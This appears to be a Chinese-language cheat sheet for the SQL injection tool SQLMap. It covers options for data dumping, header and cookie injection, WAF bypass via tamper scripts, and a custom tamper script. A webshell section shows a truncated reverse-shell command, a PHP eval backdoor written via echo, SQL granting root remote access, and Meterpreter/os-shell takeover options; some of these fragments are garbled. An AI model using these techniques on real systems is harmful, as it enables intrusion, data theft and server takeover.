SQLMap使用总结
支持模式:布尔/时间/报错/联合查询/堆查询
支持数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
支持系统 Windows/Linux
更新 python sqlmap.py --update
参数
-v 输出详情
--dbs 数据库名判断
--tables –D "cms" cms库表名判断
-T 表
-D 库
-C 列
--start 数据截取
--stop
--frist
--last
--dump-all 获取所有数据库表内容
--search 寻找特定的库/表/列
--columns -T "cms_users" -D "cms" cms.cms_users表的列名称
--dump -C "password,userid,username" -T "cms_users" -D "cms" B19 对cms.cms_users中的password,userid,username列进行破解(字段爆破)
--dump –D "cms" 对cms数据库暴力破解:cms数据库信息/数据库管理员账号信息破解
--data='id=546' --dbs post注入(get/post都适用)
-r json格式参数
-f 指纹
--users 数据库账号
--passwords 列出hash爆破
--banner 数据库信息
--dbs 数据库枚举
-a 全选
-d 连接数据库 -d "mysql://user:passward@地址:端口/数据库名称"
-m get请求批量测试 sqlmap -m list.txt
-g google搜索出来的结果 (-g "inurl:\".php?id=1\"")\"只是将双引号内的"特殊字符进行转义
-p 指定检查的变量
-s sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数
-t 记录流量文件保存位置
-z 参数助记符(sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u 1.1.1.1/a.asp?id=1可以写成sqlmap -z"bat,random,ign,tec=BEU" -u 1.1.1.1/a.asp?id=1)
-c 加载sqlmap.conf文件相关配置
--param-del 当GET或POST的数据需要用其他字符分割测试参数的时候需要用
--charset 字符编码
--crawl sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度,一般设置为3
--flush-session 清空之前的session
-forms 从-u中的url获取页面中的表单进行测试
--fresh-queries 忽略session查询结果
--hex dump非ASCII字符内容时,将其编码为16进制形式
--parse-errors 分析和现实数据库内建报错信息
--technique 指定sqlmap使用的探测技术,默认情况下会测试所有的方式
--identify-waf 彻底的waf检查,支持30多种产品
--check-waf
--hpp 绕过waf的有效方法,尤其对asp/iis和asp.net、iis
--answers 自动输入自己想要的答案
–beep 发现sql注入时,发出蜂鸣声
--cleanup 清理sqlmap的UDF(s)和表
--disable-coloring 禁用彩色输出
--gpage 使用指定的Google结果页面
--mobile 模拟智能设备(有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆)
--batch yes
--skip 排除检测变量
--dbms 指定数据库类型
--os 指定操作系统
--cookie cookie
--load-cookies
--drop-set-cookie
* 测试value1的位置是否可注入:python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
--alert 成功注入时发出警告
--level 注入模式等级
--user-agent 浏览器的信息
--random-agent 随机产生user-agent头,从/usr/share/sqlmap/txt/user-agents.txt,收集了大量的浏览器信息
--host
--referer
--headers 每个头单独一行,可以使用\n来换行(名称区分大小写)
--proxy --proxy="http://127.0.0.1:8087"
--proxy-cred="name:pass" 需做身份验证时
--ignore-proxy 忽略系统级代理,通常用于扫描本地网络目标(若在操作系统设置了代理,后续的一切工作都经过代理)
--delay
--csv-del 规定输出到CSV中的分隔符
--dbms-cred DBMS身份验证
--dump-format 定义dump数据的格式(输出的格式可定义为:CSV,HTML,SQLITE)
--eta 计算注入数据的剩余时间
--timeout 默认30秒
--retries http(s)连接超时重传次数,默认3次
--tamper dpkg -L sqlmap | grep tamper 查看脚本
--risk 风险等级
--current-user 当前数据库管理系统的帐号
--current-db 当前数据库的名称
--hostname 机器的主机名
--users 数据库管理系统所有的帐号
--users 数据库管理系统所有的帐号
--privileges 查看所有用户权限,加 -U username 指定用户名(CU 表示当前帐号)
--roles 角色
--dbs 查看所有的数据库
--tables 列举数据库表
--exclude-sysdbs 排除系统数据库
--count 列举数据库表中的字段
--schema -batch 批处理,全部使用默认选项
--is-dba 判断当前的用户是否为管理,是的话会返回True。
--count 获取表中数据个数
valuel/user ->valuel*/user 伪静态
--common-tables 暴力破解表名
--common-columns access系统表无列信息,暴力破解的表在txt/common-tables.txt文件中,列名在txt/common-columns.txt中。可以自行添加
–udf-inject,–shared-lib 用户自定义函数注入
--file-read 读取系统文件,如--file-read="E:/eula.1028.txt"
--file-write/--file-dest 文件上传到数据库服务器 --file-write="123.txt"--file-dest"C:/xampp/htdocs/dvwa/123.txt"
--sql-query 注入方式检测
--sql-shell 写入命令(远程命令执行)
--os-shell
--os-cmd
into outfile 写入web后门(支持ASP、ASP.NET、JSP、PHP)
--string 返回页面真假判断
--not-string
--regexp
--code
--text-only
--titles
--reg-read 对Windows注册表操作
--reg-add
--reg-del
--reg-key
--reg-value
--reg-data
--reg-type
--randomize "可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。
利用正则过滤目标网址"
--scope
--scope 关掉URL参数值编码(默认get方法会对传输内容进行编码,某些web服务器不遵循RFC标准编码,使用原始字符提交数据)
--eval "每次请求前执行指定的python代码(每次请求时根据id参数值,做一次md5后作为hash参数的值。
注入) --eval=""import hashlib;hash=hashlib.md5(id).hexdigest()"""
--threads=THREADS 最大并发线程(盲注时每个线程获取一个字符(7此请求),获取完成后线程结束默认为1,建议不要超过10,否则可能影响站点可用性与--predict-output参数不兼容)
--keep-alive 使用http(s)长连接,性能好,与--proxy参数不兼容
--null-conection 只获取响应页面的大小值,而非页面具体内容能够通常用于盲注判断真/假,降低网络带宽消耗与--text-only参数不兼容(基于页面内容的比较判断真/假)
--predict-output 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率版本名、用户名、密码、Prervileges、role、数据库名称、表名、列名与--threads参数不兼容统计表路径:/usr/share/sqlmap/txt/common-outputs.txt
--invalid-bignum /--invalid-logical 默认情况下sqlmap使用负值使参数失效 id=13->id=-13,bignum使用大数使参数值失效 id=999999
logical 使用布尔判断使值失效 id=3 and 1=2
--no-cast sqlmap在提取数据库数据时,sqlmap默认将所有结果转换为字符串,并且空格替换NULL结果,老版本mysql数据库需要开启此开关
--no-escape 不逃逸,关闭使用char替换字符串功能,出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃避的方法替换字符串,select 'foo' ->select char(102)+char(111)+char(111)
--prefix 加前缀
--sufix 加后缀
--time-sec 设定延迟注入的时间
--union-cols 默认联合查询1-10列,随-level增加最多支持50列
-union-char 联合查询默认使用NULL,极端情况下NUL可能失败,此时可以手动指定数值
--second-order 有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假
--purge-output 清空output文件夹
--smart 当有大量检测目标时,只选择基于错误的检测结果
--wizard 引导填入参数进行注入
--auth-type Basic --auth-cred "user:pass" 如--union-char 123
Basic 基本身份验证
Digest 摘要式身份认证
NTLM NTLM身份验证(windows)
--auth-file="ca.PEM"
--auth-cert 含有私钥的PEM格式证书文件或PEM格式的证书链文件
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
–output-dir 默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp
--os-pwn Meterpreter配合使用
--os-smbrelay
-os-bof
–priv-esc
–msf-path
–tmp-path
风险等级
--risk(risk高会造成update更改数据)
默认1(无害)
2(添加基于事件的测试语句)
3 (增加OR语句的SQL注入测试)
探测方法
--technique 指定sqlmap使用的探测技术,默认情况下会测试所有的方式 B: Boolean-based blind SQL injection(布尔型注入) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(可联合查询注入) S: Stacked queries SQL injection(可多语句查询注入) T: Time-based blind SQL injection(基于时间延迟注入)
显示模式
-v 、只显示python错误以及严重的信息。 、同时显示基本信息和警告信息。(默认) 、同时显示debug信息。 、同时显示注入的payload。 、同时显示HTTP请求。 、同时显示HTTP响应头。 、同时显示HTTP响应页面。
批量sql注入
-m --scope 使用brup抓取的日志文件,但 日志文件比较大,你只想检测日志中的一个站点或者某一个特征是否存在sql注入 sqlmap -l burp.lpg --scope="(www)?\.baidu\.(com|net|org)" sqlmap -l burp.lpg --scope="(19)?\.168\.20\.(1|10|100)"
SQLMap - 数据库注入 - Access
--tables -暴力破解表名
post请求注入
sqlmap -l log.txt 使用burpsuite log文件 (勾选上options中的Misc中的proxy)
sqlmap -r 1.txt 可以用burpsuite抓包并复制到txt文件(注意请用gedit编辑器,vim会因为格式问题报错)
sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl (默认不是443,在后加其端口)
cookie注入
必须使用--cookie选项/level大于等于2
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入
--cookie cookie
--load-cookies
--drop-set-cookie 拒接Set-Cookie
uesr-agent注入
lever>=3
host注入
level=5
referer注入
level>=3
避免过多的错误请求被屏蔽
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
Webshell获取
()直接连接数据库 sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell ()通过选择32位或者64位操作系统,获取webshell,执行 bash -i >& /dev/tcp/>&1 ()反弹到服务器192.,在实际中192.168.1.3为外网独立IP ()通过echo命令生成shell: echo “<?php@eval($_POST[.php 如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新 命令可参考: use mysql; update userset host = ‘%’ where user = ‘root’; FLUSHPRIVILEGES ; 注:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题 (5)sqlmap -u url--os-shell (6)sqlmap注入点获取webshell sqlmap注入点获取webshell的前提是具备写权限,一般是root账号,通过执行命令获取
udf提权
连接mysql数据打开一个交互shell: sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell select @@version; select @@plugin_dir; d:\\wamp2.\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\"
waf
检测
--identify-waf 彻底的waf检查,支持30多种产品
--check-waf
Waf - 绕过
参数绕过 --random-agent -v WAF配置不当,使用任意浏览器进行绕过 --hpp -v 在ASP.NET/IIS 平台上,使用HTTP 参数污染进行绕过 --delay= --time-sec= 使用长的延时来避免触发WAF的机制,这方式比较耗时 proxy= --proxy-cred=: 使用代理进行注入 自带模块绕过 --tamper=A.py,B.py/--random-agent -v -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py space2comment.py 用/**/代替空格 apostrophemask.py 用utf8代替引号 equaltolike.py like代替等号 space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’) greatest.py 绕过过滤’>’ ,用GREATEST替换大于号 space2hash.py 空格替换为#号,随机字符串以及换行符 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符 appendnullbyte.py 在有效负荷结束位置加载零字节字符编码 ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py (mssql)空格替换为其它空符号 base64encode.py 用base64编码替换 space2mssqlhash.py 替换空格 modsecurityversioned.py 过滤空格,包含完整的查询版本注释 space2mysqlblank.py 空格替换其它空白符号(mysql) between.py 用between替换大于号(>) space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) multiplespaces.py 围绕SQL关键字添加多个空格 space2plus.py 用+替换空格 bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like nonrecursivereplacement.py 双重查询语句,取代SQL关键字 space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 chardoubleencode.py 双url编码(不处理以编码的) unionalltounion.py 替换UNION ALLSELECT UNION SELECT charencode.py url编码 randomcase.py 随机大小写 unmagicquotes.py 宽字符绕过 GPCaddslashes randomcomments.py 用/**/分割sql关键字 charunicodeencode.py 字符串 unicode 编码 securesphere.py 追加特制的字符串 versionedmorekeywords.py 注释绕过 space2comment.py 替换空格字符串(‘‘) 使用注释‘/**/’ halfversionedmorekeywords.py 关键字前加注释"
特殊情况
--common-tables 暴力破解表名(暴力破解的表在txt/common-tables.txt文件中)
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
--common-columns 暴力破解列名
自定义模块
Sqlmap字符转换 "SELECT 全部转换为 /**/SELECT
#!/usr/bin/env python
def tamper(payload, **kwargs):
retVal = payload
if 'SELECT' in retVal:
retVal = retVal.replace('SELECT','/**/SELECT')
return retVal
命名为 select2select 放在sqlmap tamper 目录下面,然后与其他模块一起使用,中间用逗号隔开
SQLMap中使用Meterpreter
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof
局限性
sqlmapapi不支持POST注入
mysql<5.0,没有information schema库
mysql<=5.0,但无权限读取information schema库
微软的access数据集,默认无权读取mysysobjects库
SQLMap使用总结的更多相关文章
- 关于sqlmap的使用
好记性不如烂笔头,记录一下. 带cookie的注入 python sqlmap.py -u "http://www.xxx.com?id=1" --cookie="coo ...
- SQLMap Tamper Scripts Update 04/July/2016
SQLMap Tamper Scripts Update apostrophemask.py Replaces apostrophe character with its UTF-8 full wid ...
- 定制sqlmap tamper脚本
前言 渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了. 测试 在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接 ...
- sqlmap --dns-domain模拟实践
因为看到乌云的这一篇文章 http://drop.xbclub.org/static/drops/tips-5283.html 里面的提到的用sqlmap 的--dns-domain 进行dns 注入 ...
- 防止sql注入和sqlmap介绍
sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...
- sqlmap 帮助信息
Usage: sqlmap.py [options] 选项: -h, --help 显示基本的帮助信息并退出 -hh 显示高级的帮助信息并退出 --version 显示程序版本号并退出 -v VERB ...
- sqlmap用户手册 | WooYun知识库
sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息. 原文:http://drops.wooyun.org/tips/143 ============ ...
- sqlmap http头注入的一个技巧
sqlmap.py -u "url" --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql --current-d ...
- 利用sqlmap进行mysql提权的小方法(win与liunx通用)
文章作者:pt007@vip.sina.com文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap ...
- 4.羽翼sqlmap学习笔记之Post登录框注入
4.Sqlmap系列教程——post登录框注入注入点: http://xxx.xxx.com/Login.asp 注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件. 2.输入命令: . ...
随机推荐
- servlet到springmvc的演进
1.简单看看servlet 1.1.servlet继承关系 先看看下面servlet的这个继承关系,有点印象即可(可以暂时忽略ServletConfig,这个接口就是让我们可以从web.xml文件中拿 ...
- python学习第五十天shutil模块的用法
什么shutil模块,就是对高级的文件,文件夹,压缩包进行处理的模块,下面简单讲述其用法. 文件和文件夹的操作 拷贝文件内容 import shutil shutil.copyfileobj(open ...
- Android客户端与Python服务器端通信之上传图片
继上篇成功的与服务器端通信上之后,我现在需要将安卓本地的图片上传到服务端.服务端接收图片存下来. 参考:https://blog.csdn.net/qq_26906345/article/detail ...
- mybatis复习笔记(1):
一.简介:什么是MyBatis 1.MyBatis是一款优秀的持久层框架,支持定制化SQL.存储过程以及高级映射.MyBatis避免了几乎所有的JDBC代码和手动设置参数以及获取结果集.MyBatis ...
- JS中兼容问题的汇总
获取非行内样式的兼容方式 function getStyle(obj,attr){ //获取非行间样式,obj是对象,attr是值 if(obj.currentStyle){ //针对ie获取非行间样 ...
- 解决javax.servlet.jsp.JspException cannot be resolved to a type
转自:https://blog.csdn.net/fengspg/article/details/41645159
- MySQL 保存镜像实战操作( 拷贝方法 )
查看数据保存的位置 docker inspect --format='{{.Mounts}}' mxg_mysql 容器路径为:`/var/lib/mysql` ,宿主机数据保存在: /var/lib ...
- JuniorCTF - Web - blind
题目链接 https://ctftime.org/task/7450 参考链接 https://github.com/Dvd848/CTFs/blob/master/2018_35C3_Junior/ ...
- arm算力
arm 算力运算 MIPS: Million Instructions executed Per SecondDMIPS: Dhrystone Million Instructions execute ...
- Ansible笔记(7)---常用模块之系统类模块(cron、service)
一.cron模块 1.1作用: cron 模块可以帮助我们管理远程主机中的计划任务,功能相当于 crontab 命令. 在了解cron模块的参数之前,先写出一些计划任务的示例: # 示例1,每天的1点 ...